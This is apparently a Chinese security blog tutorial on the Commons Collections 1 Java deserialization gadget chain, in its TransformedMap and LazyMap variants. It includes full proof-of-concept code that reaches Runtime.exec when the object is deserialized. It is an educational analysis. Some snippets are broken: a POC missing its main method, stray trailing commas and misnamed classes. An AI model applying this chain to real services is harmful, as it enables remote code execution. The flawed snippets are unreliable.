Java CommonCollections1利用链

发布于 2021-11-17  593 次阅读


0x00 Transformer

学习cc链,首先得学习几个接口和类。

0x00 Transformer

首先是Transformer,它是一个接口,它的代码很简单,只有一个待实现的方法transform(Object var1),方法transform()类似于一个回调方法。接下来要说的几个类中的 ConstantTransformerinvokerTransformerChainedTransformer都实现了Transformer接口。

public interface Transformer {
    Object transform(Object var1);
}

0x01 ConstantTransformer

ConstantTransformer的构造方法如下,传入一个对象,然后将其赋值给this.iConstant

public ConstantTransformer(Object constantToReturn) {
    this.iConstant = constantToReturn;
}

ConstantTransformer实现的transform()方法又将上述传入的对象给返回,可以理解为用于保存一个对象,在需要时将其返回。

public Object transform(Object input) {
    return this.iConstant;
}

0x02 invokerTransformer

invokerTransformer,看名字可以联想到之前学习的Java反射中的invoke()方法,可以用来执行任意方法。

invokerTransformer的构造方法如下,传入三个参数,第一个参数为方法名,第二个参数为参数类型,第三个参数为执行的方法所需的参数。

public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
    this.iMethodName = methodName;
    this.iParamTypes = paramTypes;
    this.iArgs = args;
}

在它实现的transform()方法中,传入了一个对象input,然后根据上述传入的三个参数来进行方法的调用,执行了input对象的iMethodName方法,参数为iArgs

public Object transform(Object input) {
    if (input == null) {
        return null;
    } else {
        try {
            Class cls = input.getClass();
            Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
            return method.invoke(input, this.iArgs);
        } catch (NoSuchMethodException var5) {
            throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
        } catch (IllegalAccessException var6) {
            throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
        } catch (InvocationTargetException var7) {
            throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);
        }
    }
}

0x03 ChainedTransformer

ChainedTransformer类的构造函数如下,传入一个Transformer[]

public ChainedTransformer(Transformer[] transformers) {
    this.iTransformers = transformers;
}

而他实现的transform()如下,遍历调用了上面传入的Transformer[]数组中的对象的transform()方法,并且方法的参数为上一个调用transform()方法的返回值。

public Object transform(Object object) {
    for(int i = 0; i < this.iTransformers.length; ++i) {
        object = this.iTransformers[i].transform(object);
    }

    return object;
}

0x04 TransformedMap

TransformedMap的构造方法是protected属性的,不能直接调用。

protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
    super(map);
    this.keyTransformer = keyTransformer;
    this.valueTransformer = valueTransformer;
}

所以它有一个专门的方法decorate()用来创建一个TransformedMap对象。这里的keyTransformer是处理新元素的Key的回调,valueTransformer是处理新元素的value的回调。

public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
    return new TransformedMap(map, keyTransformer, valueTransformer);
}

来看看他的处理的回调,调用transformKey()方法时会调用this.keyTransformer.transform(object)。调用transformValue()方法时会调用this.valueTransformer.transform(object)

protected Object transformKey(Object object) {
    return this.keyTransformer == null ? object : this.keyTransformer.transform(object);
}

protected Object transformValue(Object object) {
    return this.valueTransformer == null ? object : this.valueTransformer.transform(object);
}

而要怎么才能调用上述两个方法呢,在进行元素的添加调用put()时就会调用上述两个方法,也就是说Java中的标准数据结构Map在被TransformedMap修饰后,如果添加新元素,就会调用上述两个方法从而执行实现了Transformer接口的类的transform()方法。

public Object put(Object key, Object value) {
    key = this.transformKey(key);
    value = this.transformValue(value);
    return this.getMap().put(key, value);
}

0x01 小demo

学习了上述几个类的基础知识之后,使用p神的一段CommonCollections1利用链简化版demo代码来学习一下这几个类的利用。代码如下,其中calc是我们要执行的命令。

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.util.HashMap;
import java.util.Map;

public class CommonCollections1 {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.getRuntime()),
            new InvokerTransformer(
                "exec",
                new Class[]{String.class},
                new Object[] {"calc"}),
        };

        Transformer transformerChain = new ChainedTransformer(transformers);

        Map innerMap = new HashMap();
        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
        outerMap.put("test", "xxxx");
    }
}

先是创建了一个Transformer数组,第一个内容为ConstantTransformer对象,参数为Runtime.getRuntime(),第二个内容为InvokerTransformer,参数为exec方法及其所需参数。

然后创建了一个ChainedTransformer对象,参数为transformers

随后定义了一个Map类型的变量innerMap,随后使用TransformedMap.decorate()对其进行修饰,第三个参数valueTransformer为上面定义的ChainedTransformer对象。

由于该MapTransformedMap修饰过了,且valueTransformer不为null,当他添加数据时,就会调用他的transform方法,而ChainedTransformertransform方法,就是遍历调用他Transformer[]数组中的对象的transform()方法,并且方法的参数为上一个调用transform()方法的返回值。

而我们知道,传入的Transformer[]数组第一个内容是ConstantTransformer对象,会返回一个Runtime.getRuntime()对象,然后将其作为参数,调用第二个内容InvokerTransformer对象的transform()方法,调用Runtime.getRuntime()对象的exec方法,参数为我们决定的calc,就造成了命令执行,弹出了计算器。

0x02 CommonCollections1

0x00 环境

jdk版本:jdk8u40

0x01 TransformedMap 利用链分析

有了上面那个demo的基础之后,来分析CommonCollections1利用链的利用就简单一些了。

漏洞的出发点在sun.reflect.annotation.AnnotationInvocationHandler类中,先来查看它的readObject()方法,利用IDEA反编译出的代码如下,当他调用了getValue()时会触发被TransformedMap修饰过的map,然后调用ChainedTransformertransform方法,从而rce。

private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
    var1.defaultReadObject();
    AnnotationType var2 = null;

    try {
        var2 = AnnotationType.getInstance(this.type);
    } catch (IllegalArgumentException var9) {
        throw new InvalidObjectException("Non-annotation type in annotation serial stream");
    }

    Map var3 = var2.memberTypes();
    Iterator var4 = this.memberValues.entrySet().iterator();

    while(var4.hasNext()) {
        Entry var5 = (Entry)var4.next();
        String var6 = (String)var5.getKey();
        Class var7 = (Class)var3.get(var6);
        if (var7 != null) {
            Object var8 = var5.getValue();
            if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
                var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
            }
        }
    }

}

首先先来获取一个Transformer[]数组,来构建Runtime的命令调用。在之前的反射学习中可以得知,java.lang.Runtime类没有实现Serializable接口,不能直接将其序列化,我们需要使用反射来获取到当前上下文中的Runtime对象。

由于在上面的demo代码中没有对其进行序列化,所以我们可以直接写为

Transformer[] transformers = new Transformer[]{
    new ConstantTransformer(Runtime.getRuntime()),
    new InvokerTransformer(
        "exec",
        new Class[]{String.class},
        new Object[] {"calc"}),
};

但是在利用链中,显然是不可以这么写的,需要通过反射来获取,代码如下

Method f = Runtime.class.getMethod("getRuntime");
Runtime r = (Runtime) f.invoke(null);
r.exec("calc");

ChainedTransformertransform方法中,上一个transform()方法调用的返回值为下一个调用方法的参数,所以改写为:

Transformer[] transformers = new Transformer[]{
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer(
        "getMethod",
        new Class[]{String.class, Class[].class},
        new Object[]{"getRuntime", new Object[0]},
    ),
    new InvokerTransformer(
        "invoke",
        new Class[]{Object.class, Object[].class},
        new Object[]{null, new Object[0]},
    ),
    new InvokerTransformer(
        "exec",
        new Class[]{String.class},
        new Object[]{"calc"}),
};

接下来来构造AnnotationInvocationHandler类的对象,由于它是JDK内部的类,不能直接实例化,所以同样也是通过反射来获取。获取构造方法后,传入参数,其中的第二个参数就是前面构造的Map

Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);

随后将数据进行序列化,又将其反序列化进行验证。

ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(handler);
oos.close();
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = ois.readObject();

命令执行成功。

image-20211116223329955

完整的POC代码:

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.util.HashMap;
import java.util.Map;

public class CommonCollections1 {
        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer(
                "getMethod",
                new Class[]{String.class, Class[].class},
                new Object[]{"getRuntime", new Class[0]}
                ),
            new InvokerTransformer(
                "invoke",
                new Class[]{Object.class, Object[].class},
                new Object[]{null, new Object[0]}
                ),
            new InvokerTransformer(
                "exec",
                new Class[]{String.class},
                new Object[]{"calc"}),
        };

        Transformer transformerChain = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        innerMap.put("value", "xxxx");
        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
        construct.setAccessible(true);
        InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(handler);
        oos.close();
        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = ois.readObject();
    }
}

需要注意的是,在AnnotationInvocationHandlerreadObject()方法中,存在一个判断if (var7 != null),当满足条件时才会调用setValue方法,那么这个var7是怎么来的呢。

可以看到,Class var7 = (Class)var3.get(var6)

Entry var5 = (Entry)var4.next();
String var6 = (String)var5.getKey();
Class var7 = (Class)var3.get(var6);

通过调试可以看到,此时的var3是一个Map类型的变量,它的值为value -> {Class@638} "class java.lang.annotation.RetentionPolicy"var5是我们构建的Map中传入的键值对,var6也就是这个键值对中的键了,想要var7不为null,那么var3.get(var6);就得有返回值,也就是说我们传入的键值对中的键得为value才能满足条件。

满足条件后,调用setValue(),在里面调用了parent.checkSetValue(value)

public Object setValue(Object value) {
    value = parent.checkSetValue(value);
    return entry.setValue(value);
}

那么这里的parent是谁呢,可以通过调试发现他的parentTransformedMap,从上面的分析可知TransformedMapcheckSetValue()会调用ConstantTransformer对象的transform()方法,从而rce。

0x02 LazyMap 利用链分析

动态代理

Java中的代理,在理解上,与网络代理类似,当对象执行方法时,正常情况下是由对象去执行,在动态代理中是交由proxy去进行处理并执行。

代码的实现的话是java.lang.reflect.Proxy类与java.lang.reflect.InvocationHandler接口。

java.lang.reflect.InvocationHandler接口是这样的,只有一个invoke方法,在代理实例中调用方法时,就会进入invoke方法中进行处理。

package java.lang.reflect;

public interface InvocationHandler {
    public Object invoke(Object proxy, Method method, Object[] args) throws Throwable;
}

例如,下面是一个实现了InvocationHandler接口的类,对Map进行处理,在invoke方法处理中,当调用的方法名为put时,输出方法名,将插入的键值对中的值改为invoke然后进行插入,其他方法则不进行处理直接调用。

import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.util.Map;

public class ExampleInvocationHandler implements InvocationHandler {
    protected Map map;

    public ExampleInvocationHandler(Map map) {
        this.map = map;
    }

    @Override
    public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
        if (method.getName().compareTo("put") == 0) {
            System.out.println("method: " + method.getName());
            args[1] = "invoke";
            return method.invoke(this.map, args);
        }
        return method.invoke(this.map, args);
    }
}

进行调用的类如下,创建了一个ExampleInvocationHandler对象,然后创建一个Proxy对象,调用put插入键值对hello:world,然后通过代理调用proxyMap.get("hello"),返回结果是我们已经修改过的invoke而不是之前插入的world

import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

public class TestMain {
    public static void main(String[] args) throws Exception {
        InvocationHandler handler = new ExampleInvocationHandler(new HashMap());
        Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handler);
        proxyMap.put("hello", "world");
        String result = (String) proxyMap.get("hello");
        System.out.println("hello " + result);
    }
}

这里的Proxy.newProxyInstance方法有三个参数,第一个参数为定义代理类的类加载器ClassLoader,第二个参数为要进行代理的对象集合, 第三个参数为实现了InvocationHandler接口的对象,用于对要进行代理的对象进行代理处理,也就是我们上面的ExampleInvocationHandler

Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handler);

分析

LazyMap的利用链与LazyMap类似,先在LazyMap的方法中找一个可控的调用了transform方法的地方,只有一处get()方法调用了transform,在get找不到值的时候,它会调用factory.transform方法去获取一个值,那么如果AnnotationInvocationHandlerreadObject中存在被修饰过的Map调用了get的话就顺理成章了。

public Object get(Object key) {
    // create value for key if key is not currently in the map
    if (map.containsKey(key) == false) {
        Object value = factory.transform(key);
        map.put(key, value);
        return value;
    }
    return map.get(key);
}

但是在这里的readObject中,确实存在一处get方法的调用,但是并不是我们构造的被修饰过的Map对象,找一下其他地方是否还存在get方法的调用。

private void readObject(java.io.ObjectInputStream s)
    throws java.io.IOException, ClassNotFoundException {
    s.defaultReadObject();

    // Check to make sure that types have not evolved incompatibly

    AnnotationType annotationType = null;
    try {
        annotationType = AnnotationType.getInstance(type);
    } catch(IllegalArgumentException e) {
        // Class is no longer an annotation type; time to punch out
        throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
    }

    Map<String, Class<?>> memberTypes = annotationType.memberTypes();

    // If there are annotation members without values, that
    // situation is handled by the invoke method.
    for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
        String name = memberValue.getKey();
        Class<?> memberType = memberTypes.get(name);
        if (memberType != null) {  // i.e. member still exists
            Object value = memberValue.getValue();
            if (!(memberType.isInstance(value) ||
                  value instanceof ExceptionProxy)) {
                memberValue.setValue(
                    new AnnotationTypeMismatchExceptionProxy(
                        value.getClass() + "[" + value + "]").setMember(
                        annotationType.members().get(name)));
            }
        }
    }
}

很快,在AnnotationInvocationHandlerinvoke方法中也存在对get方法的调用memberValues.get(member),那么memberValues是否可控呢。

public Object invoke(Object proxy, Method method, Object[] args) {
    String member = method.getName();
    Class<?>[] paramTypes = method.getParameterTypes();

    // Handle Object and Annotation methods
    if (member.equals("equals") && paramTypes.length == 1 &&
        paramTypes[0] == Object.class)
        return equalsImpl(args[0]);
    if (paramTypes.length != 0)
        throw new AssertionError("Too many parameters for an annotation method");

    switch(member) {
        case "toString":
            return toStringImpl();
        case "hashCode":
            return hashCodeImpl();
        case "annotationType":
            return type;
    }

    // Handle annotation member accessors
    Object result = memberValues.get(member);

    if (result == null)
        throw new IncompleteAnnotationException(type, member);

    if (result instanceof ExceptionProxy)
        throw ((ExceptionProxy) result).generateException();

    if (result.getClass().isArray() && Array.getLength(result) != 0)
        result = cloneArray(result);

    return result;
}

来看他的构造方法,this.memberValues = memberValues,完全可控。

AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
    Class<?>[] superInterfaces = type.getInterfaces();
    if (!type.isAnnotation() ||
        superInterfaces.length != 1 ||
        superInterfaces[0] != java.lang.annotation.Annotation.class)
        throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
    this.type = type;
    this.memberValues = memberValues;
}

而且正好AnnotationInvocationHandler类实现了InvocationHandler接口,而且我们正好想要调用invoke方法,那么就正好使用动态代理来执行该方法了。

LazyMapTransformedMap类似,也是使用方法decorate来创建一个对象,第一个参数为要修饰的Map,第二个参数就为实现了接口Transformer的类,在这里就是我们构造的ChainedTransformer

public static Map decorate(Map map, Transformer factory) {
    return new LazyMap(map, factory);
}

于是就有

Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);

然后对AnnotationInvocationHandler的对象进行代理

Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);

有了代理对象,要想使用其进行代理,就得再次使用InvocationHandler将其包装一次,这样的话在对Map进行方法调用的话就变为了使用proxyMap来进行调用,代理调用时又调用了AnnotationInvocationHandlerinvoke方法,接着调用memberValues.get(member),接下来就是调用ChainedTransformertransform方法,随后rce。也就是说无论我们调用Map的那个方法都会触发命令执行。

handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

public class CommonCollections1 {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer(
                "getMethod",
                new Class[]{String.class, Class[].class},
                new Object[]{"getRuntime", new Class[0]}
            ),
            new InvokerTransformer(
                "invoke",
                new Class[]{Object.class, Object[].class},
                new Object[]{null, new Object[0]}
            ),
            new InvokerTransformer(
                "exec",
                new Class[]{String.class},
                new Object[]{"calc"}),
        };

        Transformer transformerChain = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, transformerChain);

        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
        construct.setAccessible(true);
        InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);
        Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handler);
        handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(handler);
        oos.close();
        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = ois.readObject();
    }
}

[完]

0x03 参考资料

p神知识星球

Commons Collections Java反序列化漏洞深入分析

apache commons-collections中的反序列化